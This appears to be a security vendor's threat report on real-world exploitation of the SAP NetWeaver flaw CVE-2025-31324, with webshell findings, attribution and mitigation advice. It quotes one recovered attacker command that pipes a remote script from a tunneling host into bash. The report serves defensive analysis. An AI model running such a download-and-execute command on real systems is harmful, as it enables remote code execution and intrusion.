In late April 2025, SAP disclosed CVE-2025-31324, a critical vulnerability in SAP NetWeaver’s Visual Composer development server. The flaw—stemming from a missing authorization check on the /developmentserver/metadatauploader endpoint—allows unauthenticated file uploads that can lead to full remote code execution. With a CVSS score of 10.0, this vulnerability quickly became a top target for threat actors, and unfortunately, it didn’t take long to see it being exploited in real-world environments.
Real-World Impact: What Our Research Pod Observed
Our Research Pod has confirmed successful exploitation of CVE-2025-31324 in four different customer environments. In each case, attackers dropped malicious JSP webshells directly into the Visual Composer’s JSP directory (servlet_jsp/irj/root/). This provided the threat actors with persistent command execution on the affected SAP NetWeaver Java servers.In one case, forensic analysis revealed clear attacker behavior through recovered .bash_history logs. One particularly telling command was:
(curl -sk hxxps[://]overseas-recognized-athens-oakland.trycloudflare[.]com/v2.js || wget --no-check-certificate -q -O - hxxps[://]overseas-recognized-athens-oakland.trycloudflare[.]com/v2.js) | bash -shThis command attempts to download and execute a remote JavaScript payload using either curl or wget, both executed through a piped Bash shell. The command’s use of trycloudflare.com—a free reverse proxy tunneling service—indicates the attacker likely intended to bypass network restrictions or obscure C2 infrastructure.
Threat Actor Attribution and Behavior
Open-source intelligence and overlapping indicators suggest possible links to state-sponsored activity, specifically a Chinese-affiliated threat group known as Chaya_004. Other reported cases saw webshell names like helper.jsp and cache.jsp, tools that match TTPs used in similar SAP-targeted operations. In some instances, attackers deployed additional second-stage payloads such as Supershell, further embedding themselves in the compromised networks.
Mitigation and Recommendations
SAP customers should immediately:
- Apply SAP Security Note 3594142, which addresses the vulnerability.
- Remove any unauthorized
.jsp,.class, or.javafiles from:/irj/servlet_jsp/irj/root//irj/servlet_jsp/irj/work//irj/servlet_jsp/irj/work/sync/
- Restrict or disable the vulnerable endpoint if not needed.
- Review logs and
.bash_historyfor suspicious downloads or unusual shell activity.
If your SAP NetWeaver system has VCFRAMEWORK.SCA version 7.xx installed and Visual Composer enabled, your environment is potentially at risk—even if no suspicious activity has been detected yet.
